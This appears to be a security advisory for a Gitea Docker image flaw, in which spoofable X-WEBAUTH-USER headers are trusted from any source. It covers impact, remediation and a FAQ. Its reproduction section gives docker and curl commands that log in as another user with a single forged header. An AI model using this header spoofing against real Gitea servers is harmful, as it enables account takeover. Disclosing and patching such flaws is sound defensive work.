CVE-2026-20896: Gitea Docker image trusts spoofable reverse-proxy headers by default
Summary
The Gitea Docker images ship an app.ini template that hard-codes:
REVERSEPROXYTRUSTEDPROXIES =
The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.
When an admin enables ENABLEREVERSEPROXYAUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.
Affected
- gitea/gitea Docker images (verified 1.26.2) - docker/root/etc/templates/app.ini:55 - docker/rootless/etc/templates/app.ini:52
Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.
Reproduction
docker run -d --name g -p 3000:3000 \ -e GITEAserviceENABLEREVERSEPROXYAUTHENTICATION=true \ -e GITEAsecurityINSTALLLOCK=true \ gitea/gitea:1.26.2
sleep 15 docker exec --user git g gitea admin user create \ --username alice --password "longpasswordhere1234" \ --email alice@x.test --must-change-password=false
Now the attack::
curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \ | grep -oE '<title>[^<]+</title>'
Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.
Same payload with X-WEBAUTH-USER: <anyexistingusername> impersonates that user.
Impact
Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, giteaadmin, etc.) are the obvious targets.
Other sources
Gitea Docker image versions up to and including 1.26.2 use REVERSEPROXYTRUSTEDPROXIES= by default, allowing any source IP to impersonate a user when reverse-proxy authentication headers such as X-WEBAUTH-USER are enabled.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/code.gitea.io/giteato a version that resolves this vulnerability.Fixed in 1.26.3 - Configuration
Set REVERSE_PROXY_TRUSTED_PROXIES to the documented loopback-only default (127.0.0.0/8,::1/128) in the effective app.ini used by the container so that only the authenticating reverse proxy on loopback can inject reverse-proxy authentication identity headers.
Gitea REVERSE_PROXY_TRUSTED_PROXIES = 127.0.0.0/8,::1/128 - Configuration
Keep ENABLE_REVERSE_PROXY_AUTHENTICATION enabled only when the trusted-proxies list is correctly restricted; if you enable it, ensure REVERSE_PROXY_TRUSTED_PROXIES is not set to the unsafe default REVERSE_PROXY_TRUSTED_PROXIES=* (which allows any source IP to impersonate users when headers like X-WEBAUTH-USER are accepted).
Gitea (Docker image templates) ENABLE_REVERSE_PROXY_AUTHENTICATION = true - Compensating control
Ensure the Gitea container HTTP port is not reachable except through the intended authenticating reverse proxy (i.e., block direct access to the container port from non-proxy source IPs) so attacker-supplied reverse-proxy headers cannot be used to impersonate users.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-20896?
CVE-2026-20896 has a critical severity rating of 9.8.
How do I fix CVE-2026-20896?
To fix CVE-2026-20896, you should upgrade your Gitea Docker image to version 1.26.3 or later.
What vulnerability does CVE-2026-20896 describe?
CVE-2026-20896 describes a vulnerability where the Gitea Docker image trusts spoofable reverse-proxy headers by default.
What impact does CVE-2026-20896 have on Gitea users?
CVE-2026-20896 allows any source IP to impersonate a user, potentially compromising user authentication.
Which versions of Gitea Docker image are affected by CVE-2026-20896?
Gitea Docker image versions up to and including 1.26.2 are affected by CVE-2026-20896.